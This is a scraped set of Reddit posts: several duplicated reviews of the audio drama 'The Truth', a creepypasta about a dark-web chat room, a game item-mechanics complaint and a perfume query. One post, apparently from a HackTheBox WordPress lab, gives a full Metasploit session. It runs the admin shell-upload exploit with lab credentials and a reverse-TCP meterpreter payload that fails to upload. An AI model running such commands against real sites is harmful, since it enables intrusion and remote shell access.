But if you want to read what I’ve got now, you can find that over here: http://drakoniandgriffalco.blogspot.com/2024/05/the-audio-file-truth-part-1.html?m=0
2024.05.21 19:44 ArthurDrakoni The Truth is an audio drama anthology spanning multiple genres. The episode “Moon Graffiti” follows a very different Apollo 11 mission.
The Truth was an anthology in the purest sense of the word. Each episode was a new present to unwrap. It spanned multiple genres and styles. It billed itself as movies for the ears, and it certainly lived up to that description. Now, it is true that quite a few audio dramas fit that description, but you have to consider the context that The Truth occurred in. The first episode of The Truth premiered way back in 2011. The indie audio drama community was still very much in its infancy. Fiction podcasts tended to be short story readings like StarShipSofa or Lightspeed Magazine. If you were lucky, you might get something like The Drabblecast, with music and sound-effects added to the mix. The Truth was a full-cast show, performed rather than read, and with immersive sound-effects and music.
There are over 200 episodes to choose from, but since this is an alternate history subreddit, I wanted to highlight one episode in particular.
“Moon Graffiti” is an alternate history piece about the Apollo 11 mission. In this story, The Eagle comes in for a crash landing on the Moon. The lander’s capsule is damaged in such a way that it can’t launch into orbit. Neil Armstrong and Buzz Aldrin are stranded on the Moon until their oxygen runs out. After that, they will go down in history as the first men to die on the Moon. They take their remaining time to chat and muse about the nature of life and mortality.
This was the very first episode of The Truth ever, and they certainly started out of the gate strong. As you might imagine, the alternate history premise piqued my interest. This scenario was very much a concern during the real Apollo 11 mission. In fact, President Richard Nixon had a speech prepared just in case Armstrong and Aldrin became stranded on the Moon. The speech is actually read at the very end of the episode. The actor sounds nothing like Nixon, but he certainly captures the emotion of the speech. Ironically, there was a memorial to the victims of the Apollo 1 fire included with the other equipment on the lander.
What would it be like to experience such a stroke of bad luck? You are stranded hundreds of thousands of miles from home with no hope of rescue. You can see death slowly, but surely, creeping towards you. I try my best not to think too much about death, but the thought proves rather intrusive. I don’t know how I would like to die, as I would very much not like to die at all. But I’m also keenly aware that the reaper will claim me sooner or later.
Yeah, there are a lot of implications on how such a disaster would impact the Space Race. However, this episode is presented as a very intimate story about two men complimenting their own imminent mortality. I am of the opinion that this was absolutely the right move.
I have reviewed several other episodes of The Truth. Just seven at the moment, but I’m hard at work on part two of the review. There’s a lot more really great episodes to cover.
But if you want to read what I’ve got now, you can find that over here: http://drakoniandgriffalco.blogspot.com/2024/05/the-audio-file-truth-part-1.html?m=0
submitted by ArthurDrakoni to AlternateHistory [link] [comments]
There are over 200 episodes to choose from, but since this is an alternate history subreddit, I wanted to highlight one episode in particular.
“Moon Graffiti” is an alternate history piece about the Apollo 11 mission. In this story, The Eagle comes in for a crash landing on the Moon. The lander’s capsule is damaged in such a way that it can’t launch into orbit. Neil Armstrong and Buzz Aldrin are stranded on the Moon until their oxygen runs out. After that, they will go down in history as the first men to die on the Moon. They take their remaining time to chat and muse about the nature of life and mortality.
This was the very first episode of The Truth ever, and they certainly started out of the gate strong. As you might imagine, the alternate history premise piqued my interest. This scenario was very much a concern during the real Apollo 11 mission. In fact, President Richard Nixon had a speech prepared just in case Armstrong and Aldrin became stranded on the Moon. The speech is actually read at the very end of the episode. The actor sounds nothing like Nixon, but he certainly captures the emotion of the speech. Ironically, there was a memorial to the victims of the Apollo 1 fire included with the other equipment on the lander.
What would it be like to experience such a stroke of bad luck? You are stranded hundreds of thousands of miles from home with no hope of rescue. You can see death slowly, but surely, creeping towards you. I try my best not to think too much about death, but the thought proves rather intrusive. I don’t know how I would like to die, as I would very much not like to die at all. But I’m also keenly aware that the reaper will claim me sooner or later.
Yeah, there are a lot of implications on how such a disaster would impact the Space Race. However, this episode is presented as a very intimate story about two men complimenting their own imminent mortality. I am of the opinion that this was absolutely the right move.
I have reviewed several other episodes of The Truth. Just seven at the moment, but I’m hard at work on part two of the review. There’s a lot more really great episodes to cover.
But if you want to read what I’ve got now, you can find that over here: http://drakoniandgriffalco.blogspot.com/2024/05/the-audio-file-truth-part-1.html?m=0
2024.05.21 19:24 TootieTrack Exploit aborted due to failure: unexpected-reply: Failed to upload the payload
Can somebody help me figure out why I'm getting the error: "Exploit aborted due to failure: unexpected-reply: Failed to upload the payload?" I'm using Kali Linux on VirtualBox and I'm following the Hacking Wordpress module on HackTheBox.
msf6 > search wp_admin
Matching Modules
# Name Disclosure Date Rank Check Description
0 exploit/unix/webapp/wp_admin_shell_upload 2015-02-21 excellent Yes WordPress Admin Shell Upload
Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/webapp/wp_admin_shell_upload
msf6 > use 0
[*] No payload configured, defaulting to php/meterpretereverse_tcp
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set username admin
username => admin
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set password sunshine1
password => sunshine1
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set rhosts http://83.136.250.227:44946/
rhosts => http://83.136.250.227:44946/
msf6 exploit(unix/webapp/wp_admin_shell_upload) > run
[*] Started reverse TCP handler on 10.0.2.15:4444
[*] Authenticating with WordPress using admin:sunshine1...
[+] Authenticated with WordPress
[*] Preparing payload...
[*] Uploading payload...
[-] Exploit aborted due to failure: unexpected-reply: Failed to upload the payload
[*] Exploit completed, but no session was created.
msf6 exploit(unix/webapp/wp_admin_shell_upload) > options
Module options (exploit/unix/webapp/wp_admin_shell_upload):
Name Current Setting Required Description
PASSWORD sunshine1 yes The WordPress password to authenticate with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS http://83.136.250.227:44946/ yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path to the wordpress application
USERNAME admin yes The WordPress username to authenticate with
VHOST no HTTP server virtual host
Payload options (php/meterpretereverse_tcp):
Name Current Setting Required Description
LHOST 10.0.2.15 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
0 WordPress
View the full module info with the info, or info -d command.
msf6 exploit(unix/webapp/wp_admin_shell_upload) > Interrupt: use the 'exit' command to quit
submitted by TootieTrack to HowToHack [link] [comments]
msf6 > search wp_admin
Matching Modules
# Name Disclosure Date Rank Check Description
Interact with a module by name or index. For example info 0, use 0 or use exploit/unix/webapp/wp_admin_shell_upload
msf6 > use 0
[*] No payload configured, defaulting to php/meterpretereverse_tcp
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set username admin
username => admin
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set password sunshine1
password => sunshine1
msf6 exploit(unix/webapp/wp_admin_shell_upload) > set rhosts http://83.136.250.227:44946/
rhosts => http://83.136.250.227:44946/
msf6 exploit(unix/webapp/wp_admin_shell_upload) > run
[*] Started reverse TCP handler on 10.0.2.15:4444
[*] Authenticating with WordPress using admin:sunshine1...
[+] Authenticated with WordPress
[*] Preparing payload...
[*] Uploading payload...
[-] Exploit aborted due to failure: unexpected-reply: Failed to upload the payload
[*] Exploit completed, but no session was created.
msf6 exploit(unix/webapp/wp_admin_shell_upload) > options
Module options (exploit/unix/webapp/wp_admin_shell_upload):
Name Current Setting Required Description
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS http://83.136.250.227:44946/ yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path to the wordpress application
USERNAME admin yes The WordPress username to authenticate with
VHOST no HTTP server virtual host
Payload options (php/meterpretereverse_tcp):
Name Current Setting Required Description
LPORT 4444 yes The listen port
Exploit target:
Id Name
View the full module info with the info, or info -d command.
msf6 exploit(unix/webapp/wp_admin_shell_upload) > Interrupt: use the 'exit' command to quit
2024.05.21 18:47 Ok-Promotion-6703 I was bored and went to a dark web chat but that was a life changing
I never thought much about the dark web. To me, it was just a spooky corner of the internet, filled with urban legends and exaggerated tales. But last month, my curiosity got the better of me, and I decided to explore.
I had always been tech-savvy, so accessing the dark web was easier than I expected. I found forums, marketplaces, and bizarre sites that looked like something straight out of a horror movie. But one night, I stumbled upon something that still haunts me: a chat room called "The Abyss."
The description was cryptic: "Talk with those who truly see." Intrigued and a bit naive, I clicked the link and entered the chat. The interface was basic, just a black screen with a list of usernames on the side and a chat window in the center.
The usernames were strange—EbonShade, SoulSeeker, _WhisperingVoid_—and they immediately started messaging me.
EbonShade: Welcome, new traveler. What do you seek?
SoulSeeker: Knowledge? Power? Or perhaps, something darker?
I hesitated before typing, "Just curious. What is this place?"
WhisperingVoid: This is a place where truths are revealed. But beware, not all truths are meant to be known.
I felt a mix of excitement and unease. Before I could respond, a new message appeared.
EbonShade: Would you like to see something truly enlightening?
My heart raced as I typed, "Yes."
A link appeared in the chat, ominously labeled "Enter the Abyss." Against my better judgment, I clicked it. My screen went black, then filled with a montage of disturbing images: old, decaying buildings, people performing strange rituals, faces twisted in terror. It was overwhelming, like a nightmare unfolding before my eyes.
When the images stopped, I found myself back in the chat room, but it was different. The usernames had changed to real names—David, Claire, Michael—and my webcam had turned on, displaying my own horrified face in the corner of the screen. Panic set in as I realized I couldn't close the window or turn off my computer.
David: Now you see. There's no turning back.
I frantically tried to unplug my computer, but the screen remained on, showing my terrified expression and the cold, emotionless faces of the others in the chat.
Claire: We know where you are.
My heart felt like it was going to explode. I grabbed my phone to call for help, but it wouldn't turn on. Suddenly, my screen flickered, and a new video feed appeared—my own apartment, seen from a perspective I didn't recognize. It was as if someone was inside, watching me.
Michael: You invited us in. Now we are everywhere.
In a frenzy, I ran to my front door and threw it open, only to be met with the empty hallway of my apartment building. No one was there. I checked every room, every closet, but I was alone.
When I returned to my computer, the chat room was gone. My screen was back to my desktop, as if nothing had happened. But I knew better. My phone buzzed, and I saw a notification for a new email from an unknown sender.
Subject: Welcome to the Abyss
Body: We are always watching.
I haven't been the same since that night. I moved to a new city, changed my name, even got a new job, but the feeling of being watched never leaves me. Sometimes, I'll catch a glimpse of a shadow in the corner of my eye, or hear a whisper when I'm alone.
One night, about a week after I moved, I woke up to the sound of my computer booting up. I had left it off, but there it was, the screen glowing in the darkness. The chat room was back, but now, the names were different: John, Emily, _Sarah_—all people I had known in my life, all who had passed away.
John: Why did you leave us?
Emily: You can never escape.
Sarah: We are part of you now.
I unplugged the computer, but the screen stayed on, showing their faces, twisted in agony and anger. I screamed and threw the computer out of my window, watching it shatter on the pavement below. The screen finally went dark, but the terror remained.
I replaced my computer, thinking it would end the nightmare. But then, the texts started. Unknown numbers, always the same message: "We are watching."
I don't know how much longer I can keep this up. I see them everywhere now, in reflections, in crowds, in my dreams. If you ever find a chat room on the dark web called "The Abyss," don't enter it. Some doors, once opened, can never be closed.
One evening, as I was walking home from work, I felt someone watching me. I turned around, but no one was there. Quickening my pace, I hurried to my apartment. When I entered, my phone buzzed. Another unknown number.
Text: We are here.
The lights flickered, and the temperature dropped. My breath came out in visible puffs. I grabbed a knife from the kitchen, my hands trembling. As I backed into the living room, the shadows seemed to move, coalesce, forming shapes that were almost human.
I don't know if it was a hallucination or something worse, but I heard their voices, whispering my name, promising I would never be alone again. I dropped the knife and ran to my bedroom, locking the door behind me. The whispers grew louder, more insistent.
Desperation set in. I decided to document my experience, to warn others. I started typing out this story, but the words are running out. The whispers are too loud now. I can't think. They're here, with me, in the room.
If you ever find this post, heed my warning. Do not go looking for "The Abyss." It will find you, and once it does, there is no escape.
submitted by Ok-Promotion-6703 to nosleep [link] [comments]
I had always been tech-savvy, so accessing the dark web was easier than I expected. I found forums, marketplaces, and bizarre sites that looked like something straight out of a horror movie. But one night, I stumbled upon something that still haunts me: a chat room called "The Abyss."
The description was cryptic: "Talk with those who truly see." Intrigued and a bit naive, I clicked the link and entered the chat. The interface was basic, just a black screen with a list of usernames on the side and a chat window in the center.
The usernames were strange—EbonShade, SoulSeeker, _WhisperingVoid_—and they immediately started messaging me.
EbonShade: Welcome, new traveler. What do you seek?
SoulSeeker: Knowledge? Power? Or perhaps, something darker?
I hesitated before typing, "Just curious. What is this place?"
WhisperingVoid: This is a place where truths are revealed. But beware, not all truths are meant to be known.
I felt a mix of excitement and unease. Before I could respond, a new message appeared.
EbonShade: Would you like to see something truly enlightening?
My heart raced as I typed, "Yes."
A link appeared in the chat, ominously labeled "Enter the Abyss." Against my better judgment, I clicked it. My screen went black, then filled with a montage of disturbing images: old, decaying buildings, people performing strange rituals, faces twisted in terror. It was overwhelming, like a nightmare unfolding before my eyes.
When the images stopped, I found myself back in the chat room, but it was different. The usernames had changed to real names—David, Claire, Michael—and my webcam had turned on, displaying my own horrified face in the corner of the screen. Panic set in as I realized I couldn't close the window or turn off my computer.
David: Now you see. There's no turning back.
I frantically tried to unplug my computer, but the screen remained on, showing my terrified expression and the cold, emotionless faces of the others in the chat.
Claire: We know where you are.
My heart felt like it was going to explode. I grabbed my phone to call for help, but it wouldn't turn on. Suddenly, my screen flickered, and a new video feed appeared—my own apartment, seen from a perspective I didn't recognize. It was as if someone was inside, watching me.
Michael: You invited us in. Now we are everywhere.
In a frenzy, I ran to my front door and threw it open, only to be met with the empty hallway of my apartment building. No one was there. I checked every room, every closet, but I was alone.
When I returned to my computer, the chat room was gone. My screen was back to my desktop, as if nothing had happened. But I knew better. My phone buzzed, and I saw a notification for a new email from an unknown sender.
Subject: Welcome to the Abyss
Body: We are always watching.
I haven't been the same since that night. I moved to a new city, changed my name, even got a new job, but the feeling of being watched never leaves me. Sometimes, I'll catch a glimpse of a shadow in the corner of my eye, or hear a whisper when I'm alone.
One night, about a week after I moved, I woke up to the sound of my computer booting up. I had left it off, but there it was, the screen glowing in the darkness. The chat room was back, but now, the names were different: John, Emily, _Sarah_—all people I had known in my life, all who had passed away.
John: Why did you leave us?
Emily: You can never escape.
Sarah: We are part of you now.
I unplugged the computer, but the screen stayed on, showing their faces, twisted in agony and anger. I screamed and threw the computer out of my window, watching it shatter on the pavement below. The screen finally went dark, but the terror remained.
I replaced my computer, thinking it would end the nightmare. But then, the texts started. Unknown numbers, always the same message: "We are watching."
I don't know how much longer I can keep this up. I see them everywhere now, in reflections, in crowds, in my dreams. If you ever find a chat room on the dark web called "The Abyss," don't enter it. Some doors, once opened, can never be closed.
One evening, as I was walking home from work, I felt someone watching me. I turned around, but no one was there. Quickening my pace, I hurried to my apartment. When I entered, my phone buzzed. Another unknown number.
Text: We are here.
The lights flickered, and the temperature dropped. My breath came out in visible puffs. I grabbed a knife from the kitchen, my hands trembling. As I backed into the living room, the shadows seemed to move, coalesce, forming shapes that were almost human.
I don't know if it was a hallucination or something worse, but I heard their voices, whispering my name, promising I would never be alone again. I dropped the knife and ran to my bedroom, locking the door behind me. The whispers grew louder, more insistent.
Desperation set in. I decided to document my experience, to warn others. I started typing out this story, but the words are running out. The whispers are too loud now. I can't think. They're here, with me, in the room.
If you ever find this post, heed my warning. Do not go looking for "The Abyss." It will find you, and once it does, there is no escape.
2024.05.21 18:42 ArthurDrakoni The Truth was an anthology in the truest sense of the word. Each episode was a new present to unwrap. It is kind of surreal that it is gone now.
I recently did a partial review of The Truth on my blog, and I thought I’d share it with you guys here.
The Truth is an anthology of nearly 200 episodes spanning a wide variety of genres. It billed itself as movies for the ears, and it certainly lived up to that description. Now, it is true that quite a few audio dramas fit that description, but you have to consider the context that The Truth occurred in. The first episode of The Truth premiered way back in 2011. The indie audio drama community was still very much in its infancy. Fiction podcasts tended to be short story readings like StarShipSofa or Lightspeed Magazine. If you were lucky, you might get something like The Drabblecast, with music and sound-effects added to the mix. The Truth was a full-cast show, performed rather than read, and with immersive sound-effects and music.
The Truth was an anthology in the purest sense of the word. Each episode was a new present to unwrap. It spanned multiple genres and styles. The early years did tend to be a bit more experimental in terms of material. I had the opportunity to chat with series creator Jonathan Mitchell. Jonathan described these early episodes as scenes rather than stories. True, they are certainly shorter than later episodes, but that’s hardly a bad thing. Each of them was like a snapshot into a different life, and they were certainly memorable snapshots. I’m not the only one who is of this opinion. Many episodes from this era of The Truth were featured on various programs such as All Things Considered, Weekend America, Planet Money, This American Life, and Studio 360. Eventually, the need to pay the bills came knocking. So, the episodes began to favor longer stories in order to provide more space for ad breaks. Now, some people say this was the era when The Truth went into decline. Personally, I strongly disagree. There were still many quality episodes being produced.
The real decline, ironically, was around the time The Truth celebrated its tenth anniversary. Well, maybe not entirely ironically. I have noticed that many anthology podcasts tend to start going stale around the ten year mark. It was at this point the misses started to outnumber the hit. Now, to be fair, there were still a few diamonds in the rough. That being said, it was clear that the writers’ well of inspiration was starting to run dry. The episodes also increasingly had the same feel to them. The decline of The Truth didn’t come with a bang, but with a whimper.
It is certainly sad that the curtain has finally fallen on The Truth. No show can last forever. Eventually, if you smolder well past your time, you will see a steady decline in quality. In the immortal words of Harvey Dent, you either die a hero, or you live long enough to see yourself become the villain. I certainly hope that The Truth is always remember for what it was, rather than the decline it saw during its final season.
And that, my friends, is what this review is all about. We are going to celebrate The Truth in all its myriad ways. From those early “snapshots of a life” episodes, to the more full-length episodes. We will also look at a few less than stellar episodes. They can make for a good teaching moment about what not to do.
This is merely part one. I’ll be making a part two, so be on the lookout for that in the near future. I wouldn’t be surprised if there’s part three eventually.
But I wanted to start off with a good solid foundation. To that end, I reviewed the episodes “Moon Graffiti”, “Eat Cake”, “That’s Democracy”, “Do You Have a Minute for Equality”, “Brain Chemistry”, “Fish Girl”, and “Mall Santa.”
Like I said, this just the start. More to come in the future.
Link to the full review is over here: http://drakoniandgriffalco.blogspot.com/2024/05/the-audio-file-truth-part-1.html?m=0
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The Truth is an anthology of nearly 200 episodes spanning a wide variety of genres. It billed itself as movies for the ears, and it certainly lived up to that description. Now, it is true that quite a few audio dramas fit that description, but you have to consider the context that The Truth occurred in. The first episode of The Truth premiered way back in 2011. The indie audio drama community was still very much in its infancy. Fiction podcasts tended to be short story readings like StarShipSofa or Lightspeed Magazine. If you were lucky, you might get something like The Drabblecast, with music and sound-effects added to the mix. The Truth was a full-cast show, performed rather than read, and with immersive sound-effects and music.
The Truth was an anthology in the purest sense of the word. Each episode was a new present to unwrap. It spanned multiple genres and styles. The early years did tend to be a bit more experimental in terms of material. I had the opportunity to chat with series creator Jonathan Mitchell. Jonathan described these early episodes as scenes rather than stories. True, they are certainly shorter than later episodes, but that’s hardly a bad thing. Each of them was like a snapshot into a different life, and they were certainly memorable snapshots. I’m not the only one who is of this opinion. Many episodes from this era of The Truth were featured on various programs such as All Things Considered, Weekend America, Planet Money, This American Life, and Studio 360. Eventually, the need to pay the bills came knocking. So, the episodes began to favor longer stories in order to provide more space for ad breaks. Now, some people say this was the era when The Truth went into decline. Personally, I strongly disagree. There were still many quality episodes being produced.
The real decline, ironically, was around the time The Truth celebrated its tenth anniversary. Well, maybe not entirely ironically. I have noticed that many anthology podcasts tend to start going stale around the ten year mark. It was at this point the misses started to outnumber the hit. Now, to be fair, there were still a few diamonds in the rough. That being said, it was clear that the writers’ well of inspiration was starting to run dry. The episodes also increasingly had the same feel to them. The decline of The Truth didn’t come with a bang, but with a whimper.
It is certainly sad that the curtain has finally fallen on The Truth. No show can last forever. Eventually, if you smolder well past your time, you will see a steady decline in quality. In the immortal words of Harvey Dent, you either die a hero, or you live long enough to see yourself become the villain. I certainly hope that The Truth is always remember for what it was, rather than the decline it saw during its final season.
And that, my friends, is what this review is all about. We are going to celebrate The Truth in all its myriad ways. From those early “snapshots of a life” episodes, to the more full-length episodes. We will also look at a few less than stellar episodes. They can make for a good teaching moment about what not to do.
This is merely part one. I’ll be making a part two, so be on the lookout for that in the near future. I wouldn’t be surprised if there’s part three eventually.
But I wanted to start off with a good solid foundation. To that end, I reviewed the episodes “Moon Graffiti”, “Eat Cake”, “That’s Democracy”, “Do You Have a Minute for Equality”, “Brain Chemistry”, “Fish Girl”, and “Mall Santa.”
Like I said, this just the start. More to come in the future.
Link to the full review is over here: http://drakoniandgriffalco.blogspot.com/2024/05/the-audio-file-truth-part-1.html?m=0
2024.05.21 18:39 Bookwrrm Mage Item Testing and Proc Inconsistencies
Testing the new mage items have found pretty significant undocumented proc functionality turned off. Currently Soulbinder and Combustion have had proc functionality turned off specifically for damage over time effects. This is both completely undocumented in game, the items are formatted the exact same as an item like worldbreaker that does work on DoT's like mega or mori passive, and seems completely arbitrary considering how they left in equally broken interactions with other characters. Like stacking soulbinder is to strong with mori bleed and walking backwards, but Gadget Q which can be thrown from a mile away and then walking backwards to proc the hit, which scales better off the 8% boost better than a bleed proc as well does? Cooling down combustion on mori bleed is to strong, but getting a full proc functionality on twinblast ult hitting like 30 times isn't? Or iggy turrets proccing the cooldown on each turret independently? At a minimum when you make completely hidden changes to the way that items work with only specific interactions, you need to show that in game someway, like instead of formatting it as deal damage, it needs to say deal damage, except for dots or something. Or if you are hellbent on insane changes like adding full proc functionality for combustion, actually do that, don't do it half way and then make exceptions that aren't shown in game.
Soulbinder Does not proc on dots, iggy or mori passive, though it works with pool from iggy rmb and e, as well as turrets. It does work with gadget q, rmb, and ult, she is probably easily the best character to stack it in lane, just q and walk backwards. Works on kwang tether rmb. Could not test Belica bot on steel bot, but it's probable, it does proc item effects. Given how absurdly easy it is to stack on characters like gadget, it does seem pretty silly to turn off procs on iggy and mori passive, either everyone should get it or nobody imo, especially given the proc doesn’t have any information that would lead you to the conclusion it shouldn’t work on mega/mori passive etc. All it says is damage, the same exact wording as worldbreaker and that stacks off mega and mori passive.
Noxia Procs off damage over time and passives, ie you can meteor passive on gideon and it procs off his chain. Works with mori, one rmb and the rmb and passive proc off itself. Each turret on iggy is a separate ability two proc it.
Combustion Again they appear to have specifically turned off procs from mori passive, iggy passive, and items like fireblossom or mega, despite the formatting being the exact same, deal damage, as worldbreaker which does stack off that. There needs to be way more clarity on item procs if they are going to randomly turn them off for specific items and abilities given there is zero way to know if it works or not beyond testing every single item and kit interaction yourself. Meanwhile twinblast ult gets full proc functionality but mori passive is too strong? It makes no sense, and even if you want to specifically nerf interactions, you need to make it explicit somewhere. You can’t have item descriptions that say proc on damage, and then have it be only some damage tehee figure out what doesn’t work yourself.
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Soulbinder Does not proc on dots, iggy or mori passive, though it works with pool from iggy rmb and e, as well as turrets. It does work with gadget q, rmb, and ult, she is probably easily the best character to stack it in lane, just q and walk backwards. Works on kwang tether rmb. Could not test Belica bot on steel bot, but it's probable, it does proc item effects. Given how absurdly easy it is to stack on characters like gadget, it does seem pretty silly to turn off procs on iggy and mori passive, either everyone should get it or nobody imo, especially given the proc doesn’t have any information that would lead you to the conclusion it shouldn’t work on mega/mori passive etc. All it says is damage, the same exact wording as worldbreaker and that stacks off mega and mori passive.
Noxia Procs off damage over time and passives, ie you can meteor passive on gideon and it procs off his chain. Works with mori, one rmb and the rmb and passive proc off itself. Each turret on iggy is a separate ability two proc it.
Combustion Again they appear to have specifically turned off procs from mori passive, iggy passive, and items like fireblossom or mega, despite the formatting being the exact same, deal damage, as worldbreaker which does stack off that. There needs to be way more clarity on item procs if they are going to randomly turn them off for specific items and abilities given there is zero way to know if it works or not beyond testing every single item and kit interaction yourself. Meanwhile twinblast ult gets full proc functionality but mori passive is too strong? It makes no sense, and even if you want to specifically nerf interactions, you need to make it explicit somewhere. You can’t have item descriptions that say proc on damage, and then have it be only some damage tehee figure out what doesn’t work yourself.
2024.05.21 18:37 onetsp ISO: Something called Biscuit that’s likely a clone of something else
I’m just going to cast the net with the vaguest description in the history of descriptions and hope to catch what I’m looking for.
So years ago, I bought a tiny vial of a no-name perfume oil from a no-name store in India. The kind with a rollerball. The label on it was just a white sticker with the word “Biscuit”.
I’m not great at describing notes but I’ll try. When I sniff this, I feel as if I’m having the richest, most decadent, m-word, delicious cake. Like I can feel my mouth watering as I type this. I’m guessing there’s some caramel in there? Maybe some vanilla (but I don’t typically like vanilla scents. Hell I don’t even like gourmand scents so much! Most give me a headache). The slightest hint of what seems like lavender. Overall, it’s very sweet, but not powdery.
Was there ever a perfume called Biscuit that this could be inspired from? I didn’t find anything on fragrantica. Does the description match anything else you might be familiar with? It’s driving me nuts!!!!
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So years ago, I bought a tiny vial of a no-name perfume oil from a no-name store in India. The kind with a rollerball. The label on it was just a white sticker with the word “Biscuit”.
I’m not great at describing notes but I’ll try. When I sniff this, I feel as if I’m having the richest, most decadent, m-word, delicious cake. Like I can feel my mouth watering as I type this. I’m guessing there’s some caramel in there? Maybe some vanilla (but I don’t typically like vanilla scents. Hell I don’t even like gourmand scents so much! Most give me a headache). The slightest hint of what seems like lavender. Overall, it’s very sweet, but not powdery.
Was there ever a perfume called Biscuit that this could be inspired from? I didn’t find anything on fragrantica. Does the description match anything else you might be familiar with? It’s driving me nuts!!!!
2024.05.21 18:32 ArthurDrakoni The Truth was an anthology in the truest sense of the word. Each episode was a new present to unwrap. It is kind of surreal that it is gone now.
The Truth is an anthology of nearly 200 episodes spanning a wide variety of genres. It billed itself as movies for the ears, and it certainly lived up to that description. Now, it is true that quite a few audio dramas fit that description, but you have to consider the context that The Truth occurred in. The first episode of The Truth premiered way back in 2011. The indie audio drama community was still very much in its infancy. Fiction podcasts tended to be short story readings like StarShipSofa or Lightspeed Magazine. If you were lucky, you might get something like The Drabblecast, with music and sound-effects added to the mix. The Truth was a full-cast show, performed rather than read, and with immersive sound-effects and music.
The Truth was an anthology in the purest sense of the word. Each episode was a new present to unwrap. It spanned multiple genres and styles. The early years did tend to be a bit more experimental in terms of material. I had the opportunity to chat with series creator Jonathan Mitchell. Jonathan described these early episodes as scenes rather than stories. True, they are certainly shorter than later episodes, but that’s hardly a bad thing. Each of them was like a snapshot into a different life, and they were certainly memorable snapshots. I’m not the only one who is of this opinion. Many episodes from this era of The Truth were featured on various programs such as All Things Considered, Weekend America, Planet Money, This American Life, and Studio 360. Eventually, the need to pay the bills came knocking. So, the episodes began to favor longer stories in order to provide more space for ad breaks. Now, some people say this was the era when The Truth went into decline. Personally, I strongly disagree. There were still many quality episodes being produced.
The real decline, ironically, was around the time The Truth celebrated its tenth anniversary. Well, maybe not entirely ironically. I have noticed that many anthology podcasts tend to start going stale around the ten year mark. It was at this point the misses started to outnumber the hit. Now, to be fair, there were still a few diamonds in the rough. That being said, it was clear that the writers’ well of inspiration was starting to run dry. The episodes also increasingly had the same feel to them. The decline of The Truth didn’t come with a bang, but with a whimper.
It is certainly sad that the curtain has finally fallen on The Truth. No show can last forever. Eventually, if you smolder well past your time, you will see a steady decline in quality. In the immortal words of Harvey Dent, you either die a hero, or you live long enough to see yourself become the villain. I certainly hope that The Truth is always remember for what it was, rather than the decline it saw during its final season.
And that, my friends, is what this review is all about. We are going to celebrate The Truth in all its myriad ways. From those early “snapshots of a life” episodes, to the more full-length episodes. We will also look at a few less than stellar episodes. They can make for a good teaching moment about what not to do.
This is merely part one. I’ll be making a part two, so be on the lookout for that in the near future. I wouldn’t be surprised if there’s part three eventually.
But I wanted to start off with a good solid foundation. To that end, I reviewed the episodes “Moon Graffiti”, “Eat Cake”, “That’s Democracy”, “Do You Have a Minute for Equality”, “Brain Chemistry”, “Fish Girl”, and “Mall Santa.”
Like I said, this just the start. More to come in the future.
Have you listened to The Truth? If so, what did you think?
Link to the full review is over here: http://drakoniandgriffalco.blogspot.com/2024/05/the-audio-file-truth-part-1.html?m=0
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The Truth was an anthology in the purest sense of the word. Each episode was a new present to unwrap. It spanned multiple genres and styles. The early years did tend to be a bit more experimental in terms of material. I had the opportunity to chat with series creator Jonathan Mitchell. Jonathan described these early episodes as scenes rather than stories. True, they are certainly shorter than later episodes, but that’s hardly a bad thing. Each of them was like a snapshot into a different life, and they were certainly memorable snapshots. I’m not the only one who is of this opinion. Many episodes from this era of The Truth were featured on various programs such as All Things Considered, Weekend America, Planet Money, This American Life, and Studio 360. Eventually, the need to pay the bills came knocking. So, the episodes began to favor longer stories in order to provide more space for ad breaks. Now, some people say this was the era when The Truth went into decline. Personally, I strongly disagree. There were still many quality episodes being produced.
The real decline, ironically, was around the time The Truth celebrated its tenth anniversary. Well, maybe not entirely ironically. I have noticed that many anthology podcasts tend to start going stale around the ten year mark. It was at this point the misses started to outnumber the hit. Now, to be fair, there were still a few diamonds in the rough. That being said, it was clear that the writers’ well of inspiration was starting to run dry. The episodes also increasingly had the same feel to them. The decline of The Truth didn’t come with a bang, but with a whimper.
It is certainly sad that the curtain has finally fallen on The Truth. No show can last forever. Eventually, if you smolder well past your time, you will see a steady decline in quality. In the immortal words of Harvey Dent, you either die a hero, or you live long enough to see yourself become the villain. I certainly hope that The Truth is always remember for what it was, rather than the decline it saw during its final season.
And that, my friends, is what this review is all about. We are going to celebrate The Truth in all its myriad ways. From those early “snapshots of a life” episodes, to the more full-length episodes. We will also look at a few less than stellar episodes. They can make for a good teaching moment about what not to do.
This is merely part one. I’ll be making a part two, so be on the lookout for that in the near future. I wouldn’t be surprised if there’s part three eventually.
But I wanted to start off with a good solid foundation. To that end, I reviewed the episodes “Moon Graffiti”, “Eat Cake”, “That’s Democracy”, “Do You Have a Minute for Equality”, “Brain Chemistry”, “Fish Girl”, and “Mall Santa.”
Like I said, this just the start. More to come in the future.
Have you listened to The Truth? If so, what did you think?
Link to the full review is over here: http://drakoniandgriffalco.blogspot.com/2024/05/the-audio-file-truth-part-1.html?m=0
2024.05.21 18:31 ArthurDrakoni [Review] The Truth was an anthology in the truest sense of the word. Each episode was a new present to unwrap. It is kind of surreal that it is gone now.
The Truth is an anthology of nearly 200 episodes spanning a wide variety of genres. It billed itself as movies for the ears, and it certainly lived up to that description. Now, it is true that quite a few audio dramas fit that description, but you have to consider the context that The Truth occurred in. The first episode of The Truth premiered way back in 2011. The indie audio drama community was still very much in its infancy. Fiction podcasts tended to be short story readings like StarShipSofa or Lightspeed Magazine. If you were lucky, you might get something like The Drabblecast, with music and sound-effects added to the mix. The Truth was a full-cast show, performed rather than read, and with immersive sound-effects and music.
